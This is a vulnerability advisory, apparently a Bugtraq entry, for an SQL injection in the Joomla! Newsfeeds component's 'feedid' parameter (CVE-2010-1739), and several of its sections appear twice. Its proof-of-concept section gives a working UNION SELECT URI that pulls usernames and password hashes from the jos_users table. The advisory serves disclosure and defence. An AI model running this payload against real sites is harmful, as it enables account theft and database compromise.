Joomla! Newsfeeds Component 'feedid' Parameter SQL Injection Vulnerability
BID:39834
Info
Joomla! Newsfeeds Component 'feedid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 39834 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-1739 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 30 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Archimonde |
| Vulnerable: |
Joomla Newsfeeds Component 0 |
| Not Vulnerable: | |
Discussion
Joomla! Newsfeeds Component 'feedid' Parameter SQL Injection Vulnerability
The Newsfeeds ('com_newfeeds') component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects unknown versions of the Joomla! Newsfeeds component. This BID will be updated when more details become available.
NOTE: Reports indicate that this issue is not exploitable.
The Newsfeeds ('com_newfeeds') component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects unknown versions of the Joomla! Newsfeeds component. This BID will be updated when more details become available.
NOTE: Reports indicate that this issue is not exploitable.
Exploit / POC
Joomla! Newsfeeds Component 'feedid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
Solution / Fix
Joomla! Newsfeeds Component 'feedid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! Newsfeeds Component 'feedid' Parameter SQL Injection Vulnerability
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